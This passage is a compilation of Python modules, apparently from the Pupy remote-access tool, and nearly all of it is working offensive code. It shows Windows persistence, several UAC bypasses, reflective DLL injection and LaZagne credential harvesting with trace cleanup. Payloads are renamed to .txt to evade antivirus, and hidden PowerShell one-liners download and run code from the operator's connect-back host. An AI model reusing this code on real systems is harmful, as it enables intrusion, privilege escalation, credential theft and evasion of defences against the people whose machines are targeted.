                self.warning('Do not forget to remove the file: %s' % dst_folder + first_stage)
                self.warning('Do not forget to remove the file: %s' % dst_folder + second_stage)
Example #23
0
    def windows(self, args):

        success = False
        method = args.method
        isXP = False

        get_windows_version = self.client.remote('pupwinutils.security',
                                                 'get_windows_version')

        windows_info = get_windows_version()
        intgty_lvl = self.client.desc['intgty_lvl']

        if windows_info:
            if float(
                    str('%s.%s' % (windows_info['major_version'],
                                   windows_info['minor_version']))) < 6.0:
                isXP = True

        # not admin or it is an XP (wmi use powershell so cannot be run on XP)
        if method == "wmi" and ((intgty_lvl not in ('High', 'System'))
                                or isXP):
            self.warning(
                "You seems to lack some privileges to remove wmi persistence ..."
            )
            return

        # if no method specify, find one automatically depending on the system or the user privileges
        if not method:

            # for XP, use registry method
            if isXP:
                method = "registry"

            # not admin, use by default startup method
            elif intgty_lvl not in ('High', 'System'):
                method = "startup"

            else:
                method = "wmi"

        # -------------------------- removing persistency --------------------------
        if args.remove:
            remove_startup_file_persistence = self.client.remote(
                'pupwinutils.persistence', 'remove_startup_file_persistence')

            remove_registry_startup = self.client.remote(
                'pupwinutils.persistence', 'remove_registry_startup')

            remove_wmi_persistence = self.client.remote(
                'pupwinutils.persistence', 'remove_wmi_persistence')

            self.info('Removing persistency using {} method...'.format(method))

            # from startup file
            if method == 'startup':
                success = remove_startup_file_persistence()

            # from registry
            elif method == 'registry':
                success = remove_registry_startup()

            # from wmi event
            elif method == "wmi":
                success = remove_wmi_persistence()

            if success:
                self.success('Persistence removed !')
            else:
                self.error('Error removing persistence')

            return

        # -------------------------- adding persistency --------------------------
        remotefile = None

        if args.exe:
            if not os.path.exists(args.exe):
                self.error('Executable file not found: %s' % args.exe)
                return

            expandvars = self.client.remote('os.path', 'expandvars', False)

            remotefile = expandvars("%ProgramData%\\{}.exe".format(''.join([
                random.choice(string.ascii_lowercase)
                for x in range(0, random.randint(6, 12))
            ])))

            self.info('Uploading to %s' % remotefile)
            upload(self.client.conn, args.exe, remotefile)
            cmd = remotefile

        elif args.cmd:
            cmd = args.cmd

        else:
            self.error(
                'A command line or an executable is needed on windows (standard templates will get caught by the AV)'
            )
            return

        self.info('Adding persistency using {} method...'.format(method))
        startup_file_persistence = self.client.remote(
            'pupwinutils.persistence', 'startup_file_persistence', False)
        add_registry_startup = self.client.remote('pupwinutils.persistence',
                                                  'add_registry_startup',
                                                  False)
        wmi_persistence = self.client.remote('pupwinutils.persistence',
                                             'wmi_persistence')

        # creating a file into the startup directory
        if method == 'startup':
            if not args.exe:
                self.error(
                    "This method only works uploading an exe, cannot be run using a custom command :("
                )
                return
            success = startup_file_persistence(cmd)

        # adding persistency in registry (for xp, it will always be in registry)
        elif method == 'registry':
            success = add_registry_startup(cmd)

        # adding persistency using wmi event
        elif method == 'wmi':
            success = wmi_persistence(command=cmd, file=remotefile)

        if success:
            self.success('Persistence added successfully !')
        else:
            self.error(
                'An error occured creating the persistence, try to do it manually'
            )
Example #24
0
    def run(self, args):

        method = args.method
        if not method:
            windows_info = self.client.conn.modules["pupwinutils.security"].get_windows_version()
            if windows_info:
                # check if your host is previous Vista
                if float(str('%s.%s' % (windows_info['major_version'], windows_info['minor_version']))) < 6.0:
                    self.success('You are lucky, this Windows version does not implement UAC.')
                    return

                # Windows 10
                if windows_info['build_number'] >= 10240:
                    method = 'fodhelper'

                # Windows 7, 8 and some Win10 build
                elif windows_info['build_number'] >= 7600:
                    method = 'eventvwr'

                else:
                    method = 'tokenimp'
            elif not windows_info:
                self.error('No bypassuac method has been found automatically, you should do it manually using the "-m" option')
                return

        # check if a UAC bypass can be done
        if not self.client.conn.modules["pupwinutils.security"].can_get_admin_access():
            self.error('Your are not on the local administrator group.')
            return

        # ------------------ Prepare the payload ------------------

        ros         = self.client.conn.modules['os']
        rtempfile   = self.client.conn.modules['tempfile']
        tempdir     = rtempfile.gettempdir()
        random_name = ''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(6)])
        local_file  = ''
        remotefile  = ''

        # use powershell
        if not args.exe and not args.restart:
            self.info('Using powershell payload')
            if '64' in  self.client.desc['os_arch']:
                local_file = pupygen.generate_ps1(self.client.get_conf(), x64=True)
            else:
                local_file = pupygen.generate_ps1(self.client.get_conf(), x86=True)

            # change the ps1 to txt file to avoid AV detection
            random_name += '.txt'
            remotefile  = ros.path.join(tempdir, random_name)

            cmd     = u'C:\Windows\System32\WindowsPowerShell\\v1.0\powershell.exe'
            param   = u'-w hidden -noni -nop -c "cat %s | Out-String | IEX"' % remotefile

        # use a custom exe to execute as admin
        elif args.exe:
            self.info('Using custom executable')
            if os.path.exists(args.exe):
                local_file  = args.exe

                random_name += '.exe'
                remotefile  = ros.path.join(tempdir, random_name)

                cmd     = remotefile
                param   = u''

            else:
                self.error('Executable file not found: %s' % args.exe)
                return

        # restart the current executable as admin
        else:
            self.info('Using current executable')
            exe = self.client.desc['exec_path'].split('\\')
            if exe[len(exe)-1].lower() in ['powershell.exe', 'cmd.exe'] and exe[1].lower() == 'windows':
                self.warning('It seems that your current process is %s' % self.client.desc['exec_path'])
                self.warning('It is not recommended to restart it')
                return

            cmd     = self.client.desc['exec_path']
            param   = u''

        # upload payload (ps1 or custom exe)
        if not args.restart:
            self.info("Uploading to %s" % remotefile)
            upload(self.client.conn, local_file, remotefile)

        # ------------------ Ready to launch the bypassuac ------------------

        self.success("Trying to bypass UAC using the '%s' method" % method)

        # Works from: Windows 7 (7600)
        # Fixed in: Windows 10 RS2 (15031)
        if method == "eventvwr":
           self.client.conn.modules["pupwinutils.bypassuac_registry"].registry_hijacking_eventvwr(cmd, param)

        # Works from: Windows 10 TH1 (10240)
        # Unfixed
        elif method == "fodhelper":
            self.client.conn.modules["pupwinutils.bypassuac_registry"].registry_hijacking_fodhelper(cmd, param)

        # Works from: Windows 7 (7600)
        # Unfixed
        elif method == "tokenimp":
            param = param.replace('-w hidden ', '')
            self.client.conn.modules["pupwinutils.bypassuac_token_imp"].run_bypass_uac_using_token_impersonation(cmd, param)

        self.success("Waiting for a connection from the DLL (take few seconds, 1 min max)...")

        # TO DO (remove ps1 file)
        # ros.remove(remotefile) # not work if removed too fast

        # remove generated ps1 file
        if not args.exe and not args.restart:
            os.remove(local_file)
Example #25
0
def bypassuac_through_trusted_publisher_certificate(module, rootPupyPath):
	'''
	Performs a bypass UAC attack by utilizing the trusted publisher certificate through process injection. 
	'''
	module.client.load_package("psutil")
	module.client.load_package("pupwinutils.processes")
	remoteTempFolder=module.client.conn.modules['os.path'].expandvars("%TEMP%")
	changeMeTag = "$$$CHANGE_ME$$$"
	#First powershell script executed by Invoke-BypassUAC
	mainPowerShellScript = """
	cat $$$CHANGE_ME$$$\Invoke-BypassUAC.txt | Out-String  | iex
	Invoke-BypassUAC -Command 'powershell.exe -ExecutionPolicy Bypass -file $$$CHANGE_ME$$$\secdPowerShellScriptPrivileged.ps1' -Verbose
	"""
	#Second powershell script executed by first main script (privileged)
	secdPowerShellScriptPrivileged = """
	cat $$$CHANGE_ME$$$\Invoke-ReflectivePEInjection.txt | Out-String  | iex
	cat $$$CHANGE_ME$$$\dllFile.txt | Out-String  | iex
	Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR
	""" 
	mainPowerShellScriptPath = os.path.join(gettempdir(),'mainPowerShellScript.txt')
	logging.info("Creating the main Powershell script in %s locally"%(mainPowerShellScriptPath))
	f = open(mainPowerShellScriptPath,'w+')
	f.write(mainPowerShellScript.replace(changeMeTag, remoteTempFolder))
	f.close()
	secdPowerShellScriptPrivilegedPath = os.path.join(gettempdir(),'secdPowerShellScriptPrivileged.txt')
	logging.info("Creating the second Powershell script in %s locally"%(secdPowerShellScriptPrivilegedPath))
	f = open(secdPowerShellScriptPrivilegedPath,'w+')
	f.write(secdPowerShellScriptPrivileged.replace(changeMeTag, remoteTempFolder))
	f.close()
	logging.info("Uploading powershell code for DLL injection...")
	upload(module.client.conn, os.path.join(rootPupyPath,"pupy", "external", "PowerSploit", "CodeExecution", "Invoke-ReflectivePEInjection.ps1"), module.client.conn.modules['os.path'].join(remoteTempFolder,'Invoke-ReflectivePEInjection.txt'))
	logging.info("Uploading powershell code for UAC Bypass...")
	upload(module.client.conn, os.path.join(rootPupyPath,"pupy", "external", "Empire", "privesc", "Invoke-BypassUAC.ps1"), module.client.conn.modules['os.path'].join(remoteTempFolder,'Invoke-BypassUAC.txt'))
	logging.info("Uploading main powershell script...")
	upload(module.client.conn, mainPowerShellScriptPath, module.client.conn.modules['os.path'].join(remoteTempFolder,'mainPowerShellScript.ps1'))
	logging.info("Uploading second powershell script...")
	upload(module.client.conn, secdPowerShellScriptPrivilegedPath, module.client.conn.modules['os.path'].join(remoteTempFolder,'secdPowerShellScriptPrivileged.ps1'))
	res=module.client.conn.modules['pupy'].get_connect_back_host()
	host, port = res.rsplit(':',1)
	logging.info("Address configured is %s:%s for pupy dll..."%(host,port))
	logging.info("Looking for process architecture...")
	if module.client.conn.modules['pupwinutils.processes'].is_x64_architecture() == True:
		logging.info("Target achitecture is x64, using a x64 dll")
		dllbuff=pupygen.get_edit_pupyx64_dll(module.client.get_conf())
	elif module.client.conn.modules['pupwinutils.processes'].is_x86_architecture() == True:
		logging.info("Target achitecture is x86, using a x86 dll")
		dllbuff=pupygen.get_edit_pupyx86_dll(module.client.get_conf())
	else:
		module.error("Target architecture is unknown (!= x86 or x64), abording...")
		return 
	pupyDLLPath = os.path.join(gettempdir(),'dllFile.txt')
	remotePupyDLLPath = module.client.conn.modules['os.path'].join(remoteTempFolder,'dllFile.txt')
	logging.info("Creating the pupy dll in %s locally"%(pupyDLLPath))
	f = open(pupyDLLPath,'w+')
	f.write('$PEBytes = [System.Convert]::FromBase64String("%s")'%(base64.b64encode(dllbuff)))
	f.close()
	logging.info("Uploading pupy dll...")
	upload(module.client.conn, pupyDLLPath, remotePupyDLLPath)
	output = module.client.conn.modules.subprocess.check_output("PowerShell.exe -ExecutionPolicy Bypass -File %s"%(module.client.conn.modules['os.path'].join(remoteTempFolder,'mainPowerShellScript.ps1')), stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell = True)
	logging.info("BypassUAC script output: %s"%(output))
	if "DLL injection complete!" in output:
		module.success("UAC bypassed")
	else:
		module.warning("Impossible to know what's happened remotely")
	module.success("Waiting for a connection from the DLL (take few seconds)...")
Example #26
0
    def run(self, args):
        platform = self.client.desc["platform"]
        if "Windows" in platform:
            if "64" in self.client.desc["proc_arch"]:
                arch = "amd64"
            else:
                arch = "x86"

            # load all dependency
            self.client.load_dll(
                os.path.abspath(
                    os.path.join(os.path.dirname(__file__), "..", "packages",
                                 "windows", arch, "sqlite3.dll")))
            self.client.load_package("sqlite3")
            self.client.load_package("_sqlite3")
            self.client.load_package("xml")
            self.client.load_package("_elementtree")
            self.client.load_package(
                "pyexpat")  # needed for _elementtree module
            self.client.load_package("win32crypt")
            self.client.load_package("win32api")
            self.client.load_package("win32con")
            self.client.load_package("win32cred")
            self.client.load_package("colorama")
            self.client.load_package("impacket")
            self.client.load_package("calendar")
            self.client.load_package("win32security")
            self.client.load_package("win32net")
            self.client.load_package("lazagne")

            db = Credentials()

            passwordsFound = False
            moduleNames = self.client.conn.modules[
                "lazagne.config.manageModules"].get_modules()
            for module in moduleNames:
                if args.verbose:
                    self.info("running module %s" %
                              (str(module).split(' ', 1)[0].strip('<')))
                passwords = module.run(module.options['dest'].capitalize())
                if passwords:
                    passwordsFound = True
                    self.print_results(module.options['dest'].capitalize(),
                                       passwords, db)

            if not passwordsFound:
                self.warning("no passwords found !")

        elif "Linux" in platform:
            isWindows = False
            if "64" in self.client.desc["os_arch"]:
                lazagne_path = self.client.pupsrv.config.get(
                    "lazagne", "linux_64")
            else:
                lazagne_path = self.client.pupsrv.config.get(
                    "lazagne", "linux_32")

            if not os.path.isfile(lazagne_path):
                self.error(
                    "laZagne exe %s not found ! please edit laZagne section in pupy.conf"
                    % lazagne_path)
                self.error(
                    'Find releases on github: https://github.com/AlessandroZ/LaZagne/releases'
                )
                return

            tf = tempfile.NamedTemporaryFile()
            dst = tf.name
            tf.file.close()

            self.success("Uploading laZagne to: %s" % dst)
            upload(self.client.conn, lazagne_path, dst)

            self.success("Adding execution permission")
            cmd = ["chmod", "+x", dst]
            output = self.client.conn.modules.subprocess.check_output(
                cmd, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)

            self.success("Executing")
            cmd = [dst, "all"]
            output = self.client.conn.modules.subprocess.check_output(
                cmd, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)
            self.success("%s" % output)

            creds = self.parse_output(output)
            db = Credentials()
            db.add(creds)
            self.success("Passwords stored on the database")

            self.success("Cleaning traces")
            self.client.conn.modules['os'].remove(dst)

        else:
            self.error("Platform not supported")
            return
Example #27
0
    def run(self, args):

        #True if ps1 script will be used in bind mode. If reverse connection with ps1 then False
        isBindLauncherForPs1 = False
        #Contains ip:port used for bind connection on the target with ps1 script. None if reverse connection and (consequently) isBindLauncherForPs1==False
        listeningAddressPortForBindPs1 = None
        #Usefull information for bind mode connection (ps1 script)
        launcherType, addressPort = self.client.desc[
            'launcher'], self.client.desc['address']
        #Case of a pupy bind shell if ps1 mode is used (no reverse connection possible)
        if launcherType == "bind":
            self.info(
                'The current pupy launcher is using a BIND connection. It is listening on {0} on the target'
                .format(addressPort))
            isBindLauncherForPs1 = True
        else:
            self.info(
                'The current pupy launcher is using a REVERSE connection (e.g. \'auto_proxy\' or \'connect\' launcher)'
            )
            isBindLauncherForPs1 = False
        #Parsing bypassuac methods
        method = args.method
        if not method:
            windows_info = self.client.conn.modules[
                "pupwinutils.security"].get_windows_version()
            if windows_info:
                # check if your host is previous Vista
                if float(
                        str('%s.%s' % (windows_info['major_version'],
                                       windows_info['minor_version']))) < 6.0:
                    self.success(
                        'You are lucky, this Windows version does not implement UAC.'
                    )
                    return

                # Windows 10
                if windows_info['build_number'] >= 10240:
                    method = 'fodhelper'

                # Windows 7, 8 and some Win10 build
                elif windows_info['build_number'] >= 7600:
                    method = 'eventvwr'

                else:
                    method = 'tokenimp'
            elif not windows_info:
                self.error(
                    'No bypassuac method has been found automatically, you should do it manually using the "-m" option'
                )
                return
            self.success(
                'The following bypass uac method has been selected automatically: {0}'
                .format(method))

        # check if a UAC bypass can be done
        if not self.client.conn.modules[
                "pupwinutils.security"].can_get_admin_access():
            self.error('Your are not on the local administrator group.')
            return

        # ------------------ Prepare the payload ------------------

        ros = self.client.conn.modules['os']
        rtempfile = self.client.conn.modules['tempfile']
        tempdir = rtempfile.gettempdir()
        random_name = ''.join([
            random.choice(string.ascii_letters + string.digits)
            for n in xrange(6)
        ])
        local_file = ''
        remotefile = ''

        # use powershell
        if not args.exe and not args.restart:
            clientConfToUse = None
            self.info('Using powershell payload')
            if isBindLauncherForPs1 == True:
                self.info(
                    "BIND launcher is on the target. So a BIND ps1 will be used in child launcher. This ps1 will listen on your given port"
                )
                self.info(
                    "Be careful, you have to choose a port which is not used on the target!"
                )
                listeningPort = -1
                while listeningPort == -1:
                    try:
                        listeningPort = int(
                            input(
                                "[?] Give me the listening port to use on the target: "
                            ))
                    except Exception as e:
                        self.warning(
                            "You have to give me a valid port. Try again ({})".
                            format(e))
                listeningAddress = addressPort.split(':')[0]
                listeningAddressPortForBindPs1 = "{0}:{1}".format(
                    listeningAddress, listeningPort)
                self.info(
                    "The ps1 script used for bypassing UAC will be configured for listening on {0} on the target"
                    .format(listeningAddressPortForBindPs1))
                bindConf = self.client.get_conf()
                #Modify the listening port on the conf. If it is not modified, the ps1 script will listen on the same port as the inital pupy launcher on the target
                bindConf['launcher_args'][
                    bindConf['launcher_args'].index("--port") +
                    1] = str(listeningPort)
                clientConfToUse = bindConf
            else:
                self.info(
                    "Reverse connection mode: Configuring ps1 client with the same configuration as the (parent) launcher on the target"
                )
                clientConfToUse = self.client.get_conf()
            if method == "eventvwr":
                #Specific case for eventvwr method
                if '64' in self.client.desc['proc_arch']:
                    local_file = pupygen.generate_ps1(clientConfToUse,
                                                      x64=True)
                else:
                    local_file = pupygen.generate_ps1(clientConfToUse,
                                                      x86=True)
            else:
                if '64' in self.client.desc['os_arch']:
                    local_file = pupygen.generate_ps1(clientConfToUse,
                                                      x64=True)
                else:
                    local_file = pupygen.generate_ps1(clientConfToUse,
                                                      x86=True)

            # change the ps1 to txt file to avoid AV detection
            random_name += '.txt'
            remotefile = ros.path.join(tempdir, random_name)

            cmd = u'C:\Windows\System32\WindowsPowerShell\\v1.0\powershell.exe'
            param = u'-w hidden -noni -nop -c "cat %s | Out-String | IEX"' % remotefile

        # use a custom exe to execute as admin
        elif args.exe:
            self.info('Using custom executable')
            if os.path.exists(args.exe):
                local_file = args.exe

                random_name += '.exe'
                remotefile = ros.path.join(tempdir, random_name)

                cmd = remotefile
                param = u''

            else:
                self.error('Executable file not found: %s' % args.exe)
                return

        # restart the current executable as admin
        else:
            self.info('Using current executable')
            exe = self.client.desc['exec_path'].split('\\')
            if exe[len(exe) - 1].lower() in ['powershell.exe', 'cmd.exe'
                                             ] and exe[1].lower() == 'windows':
                self.warning('It seems that your current process is %s' %
                             self.client.desc['exec_path'])
                self.warning('It is not recommended to restart it')
                return

            cmd = self.client.desc['exec_path']
            param = u''

        # upload payload (ps1 or custom exe)
        if not args.restart:
            self.info("Uploading to %s" % remotefile)
            upload(self.client.conn, local_file, remotefile)

        # ------------------ Ready to launch the bypassuac ------------------

        self.success("Trying to bypass UAC using the '%s' method" % method)

        # Works from: Windows 7 (7600)
        # Fixed in: Windows 10 RS2 (15031)
        if method == "eventvwr":
            self.client.conn.modules[
                "pupwinutils.bypassuac_registry"].registry_hijacking_eventvwr(
                    cmd, param)

        # Works from: Windows 10 TH1 (10240)
        # Unfixed
        elif method == "fodhelper":
            self.client.conn.modules[
                "pupwinutils.bypassuac_registry"].registry_hijacking_fodhelper(
                    cmd, param)

        # Works from: Windows 7 (7600)
        # Unfixed
        elif method == "tokenimp":
            param = param.replace('-w hidden ', '')
            self.client.conn.modules[
                "pupwinutils.bypassuac_token_imp"].run_bypass_uac_using_token_impersonation(
                    cmd, param)

        if isBindLauncherForPs1 == True:
            self.success(
                "You have to connect to the target manually on {0}: try 'connect --host {0}' in pupy shell"
                .format(listeningAddressPortForBindPs1))
        else:
            self.success(
                "Waiting for a connection from the DLL (take few seconds, 1 min max)..."
            )

        # TO DO (remove ps1 file)
        # ros.remove(remotefile) # not work if removed too fast

        # remove generated ps1 file
        if not args.exe and not args.restart:
            os.remove(local_file)
Example #28
0
    def run(self, args):

        local_file = ''

        # restart current exe as system
        if args.restart:
            self.info('Using current executable')
            exe = self.client.desc['exec_path'].split('\\')
            if exe[len(exe) - 1].lower() in ['powershell.exe', 'cmd.exe'
                                             ] and exe[1].lower() == 'windows':
                self.warning('It seems that your current process is %s' %
                             self.client.desc['exec_path'])
                self.warning('It is not recommended to restart it')
                return

            cmd = self.client.desc['exec_path']

        # use powerhell to get a reverse shell
        elif args.powershell:
            ros = self.client.conn.modules['os']
            rtempfile = self.client.conn.modules['tempfile']
            tempdir = rtempfile.gettempdir()
            random_name = ''.join([
                random.choice(string.ascii_letters + string.digits)
                for n in xrange(6)
            ])
            remotefile = ''

            self.info('Using powershell payload')
            if '64' in self.client.desc['os_arch']:
                local_file = pupygen.generate_ps1(self.client.get_conf(),
                                                  x64=True)
            else:
                local_file = pupygen.generate_ps1(self.client.get_conf(),
                                                  x86=True)

            # change the ps1 to txt file to avoid AV detection
            random_name += '.txt'
            remotefile = ros.path.join(tempdir, random_name)

            cmd = u'C:\Windows\System32\WindowsPowerShell\\v1.0\powershell.exe'
            param = u'-w hidden -noni -nop -c "cat %s | Out-String | IEX"' % remotefile

            cmd = '%s %s' % (cmd, param)

            self.info("Uploading file in %s" % remotefile)
            upload(self.client.conn, local_file, remotefile)

        # migrate
        else:
            cmd = args.prog

        with redirected_stdo(self):
            proc_pid = self.client.conn.modules[
                "pupwinutils.security"].getsystem(prog=cmd)

        if args.migrate and not args.restart and not args.powershell:
            migrate(self, proc_pid)
            self.success("got system !")
        else:
            self.success(
                "Waiting for a connection (take few seconds, 1 min max)...")

        if args.powershell:
            os.remove(local_file)
Example #29
0
    def run(self, args):

        can_get_admin_access = self.client.remote(
            'pupwinutils.security', 'can_get_admin_access', False)

        # Check if a UAC bypass can be done
        if not can_get_admin_access():
            self.error('Your are not on the local administrator group.')
            return

        if args.scan:
            self.launch_scan()
            return

        if not args.scan and not args.method:
            method = self.launch_scan(print_result=False)
            if not method:
                self.error('Get the list of possible methods (-l) and bypass uac using -m <id>')
                return
        else:
            method = args.method

        # TO CHANGE:
        # A way should be found to automatically generate a dll (ex: using a generic dll which launch a bat script)
        if method in ('11', '12', '13', '14'):
            self.warning('This technique needs to upload a dll. It has been temporary disabled to avoid AV alerts')
            return

        # Weird error, root cause not found yet
        if method in '07':
            self.warning('This technique does not work with custom exe, only work with cmd.exe')
            return

        # Check if it is a bind shell
        is_bind_launcher = False
        launcher_type, address_port = self.client.desc['launcher'], self.client.desc['address']

        # Case of a pupy bind shell if ps1 mode is used (no reverse connection possible)
        if launcher_type == "bind":
            self.info(
                'The current pupy launcher is using a BIND connection. It is listening on {0} on the target'.format(
                    address_port))
            is_bind_launcher = True

        # ------------------ Prepare the payload ------------------

        rjoin = self.client.remote('os.path', 'join')
        risfile = self.client.remote('os.path', 'isfile')
        tempdir = self.client.remote('tempfile', 'gettempdir', False)
        random_name = ''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(6)])
        local_file = ''
        remote_file = ''
        completion = None

        if not args.exe and not args.restart:
            self.info('Using powershell payload')

            client_conf = None

            if is_bind_launcher:
                self.info("BIND launcher is on the target.")
                self.info("Be careful, you have to choose a port which is not used on the target!")

                listening_port = -1
                while listening_port == -1:
                    try:
                        listening_port = int(input("[?] Give me the listening port to use on the target: "))
                    except Exception as e:
                        self.warning("You have to give me a valid port. Try again ({})".format(e))

                listening_address = address_port.split(':')[0]
                bind_address_and_port = "{0}:{1}".format(listening_address, listening_port)
                self.info(
                    "Payload used for bypassing UAC will be "
                    "configured for listening on {0} on the target".format(
                        bind_address_and_port))

                bind_conf = self.client.get_conf()

                # Modify the listening port on the conf. If it is not modified,
                # the ps1 script will listen on the same port as the initial pupy launcher on the target
                bind_conf['launcher_args'][bind_conf['launcher_args'].index("--port")+1] = str(listening_port)
                client_conf = bind_conf
            else:
                self.info(
                    "Reverse connection mode: Configuring client with the same configuration as "
                    "the (parent) launcher on the target")
                client_conf = self.client.get_conf()

            cmd, completion = powerloader.serve(self, client_conf)

        # use a custom exe to execute as admin
        elif args.exe:
            cmd_args = shlex.split(args.exe, posix=False)
            arg0, argv = cmd_args[0], cmd_args[1:]
            argv = ' '.join(
                repr(x) if ' ' in x else x for x in argv
            )

            if risfile(arg0):
                self.info('Using remote cmd ({})'.format(args.exe))
                cmd = args.exe

            elif os.path.exists(arg0):
                self.info('Using custom executable (local)')
                local_file = args.exe
                cmd = rjoin(
                    tempdir, "{random_name}.{ext}".format(
                        random_name=random_name, ext="exe")) + ' ' + argv
            else:
                self.error('Executable file not found: {}'.format(arg0))
                return

        # restart the current executable as admin
        else:
            self.info('Using current executable')
            exe = self.client.desc['exec_path'].split('\\')
            if exe[len(exe)-1].lower() in ['powershell.exe', 'cmd.exe'] and exe[1].lower() == 'windows':
                self.warning('It seems that your current process is %s' % self.client.desc['exec_path'])
                self.warning('It is not recommended to restart it')
                return

            cmd = self.client.desc['exec_path']

        # upload payload (ps1 or custom exe)
        if not args.restart and local_file:
            self.info("Uploading to %s" % remote_file)
            upload(self.client.conn, local_file, remote_file, chunk_size=1*1024*1024)

        # ------------------ Ready to launch the bypassuac ------------------

        self.info("Bypass uac could take few seconds, be patient...")
        bypass_uac = self.client.remote('winpwnage.core.scanner', 'function', False)
        result = bypass_uac(uac=True, persist=False).run(id=method, payload=cmd)
        if not result:
            self.error('Nothing done, check if the id is on the list')
        else:
            self.parse_result(result, get_method_id=False)

        if completion:
            if not completion.is_set():
                self.info('Waiting for a powerloader status updates')
                completion.wait()
        elif not args.exe and not args.restart:
            # Powershell could be longer to execute
            self.info("Waiting for a connection (take few seconds, 1 min max)...")

        # TO DO (remove ps1 file)
        # ros.remove(remote_file) # not work if removed too fast

        # Remove generated ps1 file
        if not args.exe and not args.restart and local_file:
            os.remove(local_file)
Example #30
0
	def run(self, args):
		upload(self.client.conn, args.local_file, args.remote_file)
		self.success("file local:%s uploaded to remote:%s"%(args.local_file, args.remote_file))
Example #31
0
    def run(self, args):
        platform=self.client.desc["platform"]
        if "Windows" in platform:
            if "64" in self.client.desc["proc_arch"]:
                self.error('Not yet implemented for a x64 bits process, migrate to a 32 bits process and try again ! \nEx: run migrate -c \'C:\\Windows\\SysWOW64\\notepad.exe\'')
                return

            # load all dependency
            self.client.load_dll(os.path.abspath(os.path.join(os.path.dirname(__file__),"..", "packages", "windows", "x86", "sqlite3.dll")))
            self.client.load_package("sqlite3")
            self.client.load_package("_sqlite3")
            self.client.load_package("xml")
            self.client.load_package("_elementtree")
            self.client.load_package("pyexpat")         # needed for _elementtree module
            self.client.load_package("win32crypt")
            self.client.load_package("win32api")
            self.client.load_package("win32con")
            self.client.load_package("win32cred")
            self.client.load_package("colorama")
            self.client.load_package("impacket")
            self.client.load_package("calendar")
            self.client.load_package("win32security")
            self.client.load_package("win32net")
            self.client.load_package("lazagne")

            db = Credentials()

            moduleNames = self.client.conn.modules["lazagne.config.manageModules"].get_modules()
            for module in moduleNames:
                if args.verbose:
                    self.info("running module %s"%(str(module).split(' ',1)[0].strip('<')))
                passwords = module.run(module.options['dest'].capitalize())
                self.print_results(module.options['dest'].capitalize(), passwords, db)
            
        elif "Linux" in platform:
            isWindows = False
            if "64" in self.client.desc["os_arch"]:
                lazagne_path = self.client.pupsrv.config.get("lazagne","linux_64")
            else:
                lazagne_path = self.client.pupsrv.config.get("lazagne","linux_32")
        
            if not os.path.isfile(lazagne_path):
                self.error("laZagne exe %s not found ! please edit laZagne section in pupy.conf"%lazagne_path)
                self.error('Find releases on github: https://github.com/AlessandroZ/LaZagne/releases')
                return
            
            tf = tempfile.NamedTemporaryFile()
            dst = tf.name
            tf.file.close()

            self.success("Uploading laZagne to: %s" % dst)
            upload(self.client.conn, lazagne_path, dst)
            
            self.success("Adding execution permission")
            cmd = ["chmod", "+x", dst]
            output = self.client.conn.modules.subprocess.check_output(cmd, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)

            self.success("Executing")
            cmd = [dst, "all"]
            output = self.client.conn.modules.subprocess.check_output(cmd, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)
            self.success("%s" % output)
            
            creds = self.parse_output(output)
            db = Credentials()
            db.add(creds)
            self.success("Passwords stored on the database")
            
            self.success("Cleaning traces")
            self.client.conn.modules['os'].remove(dst)

        else:
            self.error("Platform not supported")
            return
Example #32
0
    def run(self, args):

        if "/" in args.target[0]:
            hosts = IPNetwork(args.target[0])
        else:
            hosts = list()
            hosts.append(args.target[0])

        ext = ''
        remote_path = ''
        dst_folder = ''
        file_to_upload = []
        if args.file or args.ps1:

            tmp_dir = tempfile.gettempdir()

            if self.client.is_windows():
                remote_path = '%s\\' % self.client.conn.modules[
                    'os.path'].expandvars("%ALLUSERSPROFILE%")
            else:
                remote_path = '/tmp/'

            # write on the temp directory
            if args.share == 'C$':
                dst_folder = "C:\\Windows\\TEMP\\"
            # write on the root directory
            else:
                dst_folder = '%s\\' % args.share.replace('$', ':')

            # if executable to upload
            if args.file:
                if not os.path.exists(args.file):
                    self.error('File not found: %s' % args.file)
                    return

                if not args.file.endswith('.exe'):
                    self.error('Only executable files could be uploaded')
                    return

                ext = '.exe'
                random_name = ''.join(random.sample(string.ascii_letters,
                                                    10)) + ext
                shutil.copy(args.file, tmp_dir + os.sep + random_name)
                file_to_upload = [random_name]

            # if uploading powershell
            else:
                ext = '.txt'
                first_stage = ''.join(random.sample(string.ascii_letters,
                                                    10)) + ext
                second_stage = ''.join(random.sample(string.ascii_letters,
                                                     10)) + ext
                file_to_upload = [first_stage, second_stage]

                launcher = """cat {invoke_reflective_random_name} | Out-String | IEX""".format(
                    invoke_reflective_random_name=dst_folder + second_stage)
                launcher = create_ps_command(launcher,
                                             force_ps32=True,
                                             nothidden=False)
                open(tmp_dir + os.sep + first_stage, 'w').write(launcher)
                self.success('first stage created: %s' % tmp_dir + os.sep +
                             first_stage)

                command = getInvokeReflectivePEInjectionWithDLLEmbedded(
                    self.client.get_conf())
                open(tmp_dir + os.sep + second_stage, 'w').write(command)
                self.success('second stage created: %s' % tmp_dir + os.sep +
                             second_stage)

            for file in file_to_upload:
                src = tmp_dir + os.sep + file
                dst = remote_path + file

                self.info("Uploading file to {0}".format(dst))
                upload(self.client.conn, src, dst)
                self.success("File uploaded")

        if args.ps1_oneliner:
            res = self.client.conn.modules['pupy'].get_connect_back_host()
            ip, port = res.rsplit(':', 1)

            cmd = '%s/pupygen.py -f ps1_oneliner --ps1-oneliner-listen-port %s connect --host %s:%s' % (
                os.getcwd(), str(args.ps1_port), ip, port)
            self.warning('starting the local server')
            process = Popen(cmd.split(' '),
                            stdout=PIPE,
                            stderr=PIPE,
                            stdin=PIPE)
            time.sleep(2)

            # check if the server has been launched corretly
            if process.poll():
                self.error(
                    'the server has not been launched, check if the port %s or if the file %s/pupygen.py exists'
                    % (str(args.ps1_port), os.getcwd()))
                return

            self.success('server started (pid: %s)' % process.pid)
            args.command = 'powershell.exe -w hidden -noni -nop -c "iex(New-Object System.Net.WebClient).DownloadString(\'http://%s:%s/eiloShaegae1\')"' % (
                ip, str(args.ps1_port))

        self.info("Loading dependencies")
        self.client.load_package("impacket")
        self.client.load_package('ntpath')
        self.client.load_package("calendar")
